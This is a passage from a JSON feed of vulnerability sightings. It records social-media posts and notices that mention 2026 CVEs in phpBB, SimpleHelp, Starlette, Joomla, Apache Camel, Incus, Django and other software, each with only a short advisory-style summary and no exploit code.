"CVE-2026-48907", "type": "seen", "source": "Telegram/pbr9Al6lDLDLkWe5oehYim005TMAc63njoCFlfpJdyv_", "content": "", "creation_timestamp": "2026-08-19T23:00:04.723326Z"}, {"uuid": "3d1ba36a-7ec6-48e9-8255-014c82f4c1a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "https://bsky.app/profile/netalexx.bsky.social/post/3mpszfmkkxc2i", "content": "phpBB PTT-2026-004 (CVE-2026-48611) requires a single unauthenticated HTTP request and works on default phpBB installations. PTT-2026-005 (CVE-2026-48612) requires phpBB to have OAuth configured", "creation_timestamp": "2026-07-04T12:04:19.673743Z"}, {"uuid": "d481869a-19ca-4d49-afaf-65683bce3023", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48612", "type": "seen", "source": "https://bsky.app/profile/netalexx.bsky.social/post/3mpszfmkkxc2i", "content": "phpBB PTT-2026-004 (CVE-2026-48611) requires a single unauthenticated HTTP request and works on default phpBB installations. PTT-2026-005 (CVE-2026-48612) requires phpBB to have OAuth configured", "creation_timestamp": "2026-07-04T12:04:19.711743Z"}, {"uuid": "b182529f-fd9d-4b30-bc11-b5582efa0a2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mptdromhif2j", "content": "If your IT runs through SimpleHelp remote management software, intruders can log in as a full admin. A CVSS 10.0 auth-bypass flaw (CVE-2026-48558) lets attackers forge a privileged Technician account and skip MFA. CISA set a July 2 patch deadline. Per Arctic Wolf and CISA.", "creation_timestamp": "2026-07-04T15:09:59.979287Z"}, {"uuid": "8593dd11-17ab-4937-8c04-c383b9624395", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/winsontang.com/post/3mptijlt3ef2g", "content": "Attention developers! A critical vulnerability has been identified in Starlette, known as CVE-2026-48710, allowing host-header auth bypass. Stay informed and protect your applications from potential exploits. Check out the full details to secure your projects. #CyberSecurity #DevOps", "creation_timestamp": "2026-07-04T16:34:57.271315Z"}, {"uuid": "b36b11b1-d79c-4d33-aa1e-b79dc41064ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/eurotrends24.bsky.social/post/3mptsltyzwf2h", "content": "JUST LEAKED! \ud83d\udea8 Get instant access to the latest premium Mod APK with unlimited resources and coins free \ud83d\udcf2\ud83d\udd13 and stay safe from the SimpleHelp CVE-2026-48558 exploit! #UkrainianDefense", "creation_timestamp": "2026-07-04T19:35:10.682297Z"}, {"uuid": "ea64fa28-c9aa-461d-a355-b87f322f6b2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48303", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mpueqqavv22l", "content": "Adobe\u306e\u30de\u30fc\u30b1\u30c6\u30a3\u30f3\u30b0\u7ba1\u7406\u88fd\u54c1\u306bRCE\u8106\u5f31\u6027 - \u7dca\u6025\u5bfe\u5fdc\u3092\n\nAdobe\u306f\u3001\u30de\u30fc\u30b1\u30c6\u30a3\u30f3\u30b0\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u7ba1\u7406\u88fd\u54c1\u300cAdobe Campaign Classic\uff08ACC\uff09\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3068\u3057\u3066\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002\n\n\u540c\u793e\u306f\u73fe\u5730\u6642\u95936\u67089\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u3001\u8106\u5f31\u60272\u4ef6\u300cCVE-2026-48303\u300d\u300cCVE-2026-47938\u300d\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\n\n\u8a8d\u53ef\u51e6\u7406\u306e\u4e0d\u5099\u306b\u8d77\u56e0\u3057\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\u3044\u305a\u308c\u3082Windows\u3001Linux\u74b0\u5883\u304c\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3002\n#\u30d1\u30c3\u30c1\u30c1\u30e5\u30fc\u30ba\u30c7\u30fc", "creation_timestamp": "2026-07-05T01:00:01.864279Z"}, {"uuid": "c3ed0f71-02b8-42c2-86e2-08e6ea05feb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mpvbyyya4w22", "content": "\u26a0\ufe0f Attackers are already weaponizing a CVE with no patch cycle.\n\nCVE-2026-48558.\n\nhttps://www.yazoul.net/news/article/attackers-exploit-simplehelp-cve-2026-48558-to-deploy-taskweaver-and-djinn-steal/\n\n#InfoSec #ThreatIntel", "creation_timestamp": "2026-07-05T09:43:37.746076Z"}, {"uuid": "cac18636-cacb-48ff-ae6e-01156e70e0cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97549", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #\u6f0f\u6d1e\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48710\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a CuteeCat\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-11 08:42:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48710\u6f0f\u6d1e\u9a8c\u8bc1\u4ee3\u7801\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-11T11:00:04.437341Z"}, {"uuid": "b4e2923b-3eba-427b-828d-91fb920b3e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/mel-echosphere.bsky.social/post/3mpviicyqj32u", "content": "SimpleHelp\u306eKEV\u8ffd\u52a0\u3001\u5acc\u306a\u306e\u306f\u300cRMM\u304c\u72d9\u308f\u308c\u305f\u300d\u3063\u3066\u96d1\u306a\u8a71\u3058\u3083\u306d\u3047\u3002OIDC token \u306e\u7f72\u540d\u3092\u898b\u305a\u306b\u901a\u3057\u3066\u305f\u70b9\u3060\u3002NVD\u3060\u3068\u672a\u8a8d\u8a3c\u3067 Technician session\u3001\u6761\u4ef6\u6b21\u7b2c\u3067MFA\u8fc2\u56de\u3001UI\u4e0d\u8981\u3002SSO\u5165\u308c\u3066\u308b\u5b89\u5fc3\u611f\u3054\u3068\u8e0f\u307f\u629c\u304f\u30bf\u30a4\u30d7\u3002https://x.com/seoscottsdale/status/2072333888106770691 https://nvd.nist.gov/vuln/detail/CVE-2026-48558 #SimpleHelp", "creation_timestamp": "2026-07-05T11:39:34.225158Z"}, {"uuid": "4d829312-b10c-417c-a876-ab1fa734a10d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/mel-echosphere.bsky.social/post/3mpviidi5y72z", "content": "\ud83d\udc8e Horizon3 \u306f OIDC \u6709\u52b9 + TechnicianGroup \u7d10\u4ed8\u3051 + \"Allow group authenticated logins\" \u3092\u6761\u4ef6\u306b\u6319\u3052\u3066\u308b\u3002\u300cSSO\u3042\u308b\u304b\u3089\u5e73\u6c17\u300d\u3067\u6b62\u307e\u308b\u3068\u523a\u3055\u308b\u3002\u7f72\u540d\u78ba\u8a8d\u3057\u3066\u306d\u3047\u306a\u3089\u3001\u305d\u308c\u3082\u3046\u8a8d\u8a3c\u3058\u3083\u306a\u304f\u3066\u81ea\u5df1\u7533\u544a\u3060\u308d\u3002https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/ #KEV #AuthN", "creation_timestamp": "2026-07-05T11:39:34.663674Z"}, {"uuid": "d58cccaa-8167-42a4-813d-abddf87f62d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mpvvxje66i25", "content": "Another Joomla exploit lands; defenders still pretending patching is a strategy\nPANIC 68% | Lag 0.0h | CISA has added CVE-2026-48907, a Joomla vulnerability, to its active exploitation list, which means \n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-07-05T15:40:42.419448Z"}, {"uuid": "089c3a53-db85-4a24-a3ff-1e46bb1818d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpwdjdape723", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48939 \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438 iCagenda \u0434\u043b\u044f Joomla: \u0443\u0433\u0440\u043e\u0437\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\n\n\n\nhttps://kripta.biz/posts/B4898F64-5D8B-4A50-BE10-C10F29B49F90", "creation_timestamp": "2026-07-05T19:43:19.156902Z"}, {"uuid": "25e1756d-79df-4651-827e-7f6d675ea504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpwegcmhq72j", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48908 \u0432 SP Page Builder \u0434\u043b\u044f Joomla: \u0443\u0433\u0440\u043e\u0437\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438\n\n\n\nhttps://kripta.biz/posts/9A0A0517-E3D2-41CB-B1B7-37C81929D156", "creation_timestamp": "2026-07-05T19:59:31.298195Z"}, {"uuid": "6a721f9c-d277-417a-9070-0e86f9b83e39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48204", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpwfbr7xxk2r", "content": "CVE-2026-48204: Apache Camel: Camel-MongoDB-GridFS: The gridfs.* control headers used non-Camel-prefixed names that bypass the HTTP header filter, allowing an HTTP client to switch the GridFS operation - including destructive file deletion - in the default configuration", "creation_timestamp": "2026-07-05T20:14:52.487008Z"}, {"uuid": "1583d36a-e8b7-44a4-bca8-cdaf0dbe38eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48205", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpwfofkvu425", "content": "CVE-2026-48205: Apache Camel: Camel-DNS: The dns.* and term Exchange header constants used non-Camel-prefixed names that bypass the HTTP header filter, allowing an HTTP client to redirect DNS queries to an attacker-controlled server (server-side request forgery) and enumerate internal", "creation_timestamp": "2026-07-05T20:21:56.336436Z"}, {"uuid": "d60e73f0-ad9d-45e9-956a-d82684d0b027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48206", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpwftcmt4q2i", "content": "CVE-2026-48206: Apache Camel: Camel-JIRA: A set of non-Camel-prefixed Exchange header constants (IssueKey, ProjectKey, IssueTransitionId, ...) bypass the HTTP header filter, allowing an HTTP client to drive arbitrary JIRA issue operations using the endpoint's configured credentials", "creation_timestamp": "2026-07-05T20:24:43.431675Z"}, {"uuid": "22b91d6a-73f4-49ec-a6fc-2e50c9510a85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48203", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpwg6pj4kz2a", "content": "CVE-2026-48203: Apache Camel: Camel-Solr: The SolrParam. and SolrField. Exchange header prefixes used non-Camel-prefixed names that bypass the HTTP header filter, allowing an HTTP client to inject Solr query parameters (server-side request forgery) and document fields", "creation_timestamp": "2026-07-05T20:31:08.779392Z"}, {"uuid": "4c736185-ebc7-4bd4-9f7a-9f5628b956fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-48611.yaml", "content": "", "creation_timestamp": "2026-07-06T06:00:04.593147Z"}, {"uuid": "d72427ff-946e-456d-a90a-6ed441340407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48749", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtm5epepus2p", "content": "\ud83d\udea8 CVE-2026-48749 \u2014 CVSS 9.9 CRITICAL\n\nIncus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48749\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-21T16:07:30.323769Z"}, {"uuid": "a7e56d71-47e4-472a-98f0-a521277326ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48752", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtm5fuuafi2e", "content": "\ud83d\udea8 CVE-2026-48752 \u2014 CVSS 9.9 CRITICAL\n\nIncus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48752\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-21T16:08:09.431299Z"}, {"uuid": "5d5f60c3-1bea-44ac-9ec4-8cc444c34925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48750", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtm5fbwwxz2y", "content": "\ud83d\udea8 CVE-2026-48750 \u2014 CVSS 9.9 CRITICAL\n\nIncus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parame...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48750\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-21T16:07:49.761185Z"}, {"uuid": "2dce54a0-de02-4508-95a9-f1db4546e9d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48751", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtm5fmgtlx2c", "content": "\ud83d\udea8 CVE-2026-48751 \u2014 CVSS 9.9 CRITICAL\n\nIncus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48751\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-21T16:08:01.480093Z"}, {"uuid": "96e18788-487f-44cb-9291-49caa0867470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48753", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtm5g5r24o2u", "content": "\ud83d\udea8 CVE-2026-48753 \u2014 CVSS 9.9 CRITICAL\n\nIncus is a system container and virtual machine manager. Prior to version 7.1.0, the S3 protocol upload end...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48753\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-21T16:08:18.771903Z"}, {"uuid": "6a57020c-8dc7-490b-8f05-faf44d41425a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48588", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msxpnwvw3s23", "content": "\u300cDjango\u300d\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u66f4\u65b0 - \u8907\u6570\u306e\u8106\u5f31\u6027\u306b\u5bfe\u5fdc\n\n\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u300cDjango\u300d\u306e\u958b\u767a\u30c1\u30fc\u30e0\u306f\u73fe\u5730\u6642\u95932026\u5e747\u67087\u65e5\u3001\u8907\u6570\u306e\u8106\u5f31\u6027\u3092\u89e3\u6d88\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002\n\n\u300c\u540c6.0.7\u300d\u300c\u540c5.2.16\u300d\u306b\u30663\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-48588\u300d\u300cCVE-2026-53877\u300d\u300cCVE-2026-53878\u300d\u3078\u5bfe\u51e6\u3057\u305f\u3082\u306e\u3002\u958b\u767a\u30c1\u30fc\u30e0\u306f\u3001\u3044\u305a\u308c\u3082\u91cd\u8981\u5ea6\u3092\u300c\u4f4e\uff08Low\uff09\u300d\u3068\u8a55\u4fa1\u3057\u3066\u3044\u308b\u304c\u3001\u3067\u304d\u308b\u3060\u3051\u65e9\u304f\u66f4\u65b0\u3059\u308b\u3088\u3046\u6c42\u3081\u3066\u3044\u308b\u3002\n\n\u300cCVE-2026-53877\u300d\u306f\u3001GDAL\u306e\u4eee\u60f3\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306b\u683c\u7d0d\u3055\u308c\u3066\u3044\u308b\u30e9\u30b9\u30bf\u30d5\u30a1\u30a4\u30eb\u306e\u51e6\u7406\u306b...", "creation_timestamp": "2026-08-13T13:08:52.890167Z"}, {"uuid": "2488fa29-cd29-457b-90d8-b70f90fbf761", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48755", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtm5ghbkm72p", "content": "\ud83d\udea8 CVE-2026-48755 \u2014 CVSS 9.9 CRITICAL\n\nIncus is a system container and virtual machine manager. Prior to version 7.1.0, improper validation of use...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48755\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-21T16:08:28.785438Z"}, {"uuid": "8f479f04-acb4-4b59-9bac-e5a7f713abc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48085", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msh5rebvv22u", "content": "CVE-2026-48085\nPrior to version 1.0.1, OpenReception's appointment booking software allowed anyone to create administrative accounts without a password. This means that an attacker could gain full control over the platform.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-06T23:06:04.648501Z"}, {"uuid": "5ed19222-d853-48f5-939f-746fb951e356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48086", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msh5rfo6zw22", "content": "CVE-2026-48086\nPrior to version 1.0.2 of OpenReception's appointment booking software, a user with limited admin privileges could accidentally or intentionally gain full control over all other users and tenants on the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-06T23:06:05.911636Z"}, {"uuid": "7d50579e-bdda-4f03-ad09-3a21eba51799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48769", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtm5grpgfv25", "content": "\ud83d\udea8 CVE-2026-48769 \u2014 CVSS 9.9 CRITICAL\n\nIncus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write ex...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48769\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-21T16:08:39.766600Z"}, {"uuid": "f107ded4-1b29-43c8-94d1-df586c1347a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48087", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msh5uwybhi2m", "content": "CVE-2026-48087\nA vulnerability in OpenReception's appointment booking software allowed an attacker to take over a user's account without their password. This happened when an attacker submitted a fake registration response\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-06T23:08:04.788825Z"}, {"uuid": "350e8365-d808-43a0-9161-719c708126ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48689", "type": "seen", "source": "https://bsky.app/profile/vulny-app.bsky.social/post/3mssoxjej7w2o", "content": "A critical-severity fix just shipped for Pavel-Odintsov Fastnetmon. If your stack uses it, patch to the fixed release soon. Quietly closes the gap before anyone goes looking. CVE-2026-48689", "creation_timestamp": "2026-08-11T13:13:02.034238Z"}, {"uuid": "5ecb1996-a634-4ba8-9c0e-8798b5fb486a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48088", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msh5uylias2a", "content": "CVE-2026-48088\nPrior to version 1.0.4, OpenReception's software allowed unauthorized users to store encryption keys for any tenant's appointments. This could have let attackers access sensitive information. To fix this,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-06T23:08:06.394124Z"}, {"uuid": "8eab9335-deb7-4f92-b2e1-15bede65f25a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48391", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3msh7itwcbg22", "content": "\ud83d\udccc CVE-2026-48391 - Bridge is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. A low-p... https://www.cyberhub.blog/cves/CVE-2026-48391", "creation_timestamp": "2026-08-06T23:37:10.462667Z"}, {"uuid": "881426f3-df3a-4d71-876d-8a37263f9491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48318", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msxqwzctcs23", "content": "Adobe\u304cColdFusion\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u516c\u958b\n\nColdFusion\u3067\u89e3\u6c7a\u3055\u308c\u305f13\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306e\u3046\u3061\u30018\u4ef6\uff08CVE-2026-48318\u3001CVE-2026-48322\u3001CVE-2026-48284\u3001CVE-2026-48321\u3001CVE-2026-48325\u3001CVE-2026-48319\u3001CVE-2026-48324\u3001CVE-2026-48327\uff09\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3084\u6a29\u9650\u6607\u683c\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u91cd\u5927\u306a\u554f\u984c\u3067\u3059\u3002\n\n\u91cd\u5927\u306a\u8106\u5f31\u6027\u3068\u3057\u3066\u306f\u3001\u30d1\u30b9\u30fb\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u3001\u30b3\u30fc\u30c9\u30fb\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u4e0d\u9069\u5207\u306a\u5165\u529b\u691c\u8a3c\u3001\u8a8d\u8a3c\u306e\u6b20\u5982\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u304a\u3088\u3073\u4e0d\u9069\u5207\u306a\u8a8d...", "creation_timestamp": "2026-08-13T13:31:52.555734Z"}, {"uuid": "192594e8-a0aa-4ce8-b463-65799358de91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48322", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msxqwzctcs23", "content": "Adobe\u304cColdFusion\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u516c\u958b\n\nColdFusion\u3067\u89e3\u6c7a\u3055\u308c\u305f13\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306e\u3046\u3061\u30018\u4ef6\uff08CVE-2026-48318\u3001CVE-2026-48322\u3001CVE-2026-48284\u3001CVE-2026-48321\u3001CVE-2026-48325\u3001CVE-2026-48319\u3001CVE-2026-48324\u3001CVE-2026-48327\uff09\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3084\u6a29\u9650\u6607\u683c\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u91cd\u5927\u306a\u554f\u984c\u3067\u3059\u3002\n\n\u91cd\u5927\u306a\u8106\u5f31\u6027\u3068\u3057\u3066\u306f\u3001\u30d1\u30b9\u30fb\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u3001\u30b3\u30fc\u30c9\u30fb\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u4e0d\u9069\u5207\u306a\u5165\u529b\u691c\u8a3c\u3001\u8a8d\u8a3c\u306e\u6b20\u5982\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u304a\u3088\u3073\u4e0d\u9069\u5207\u306a\u8a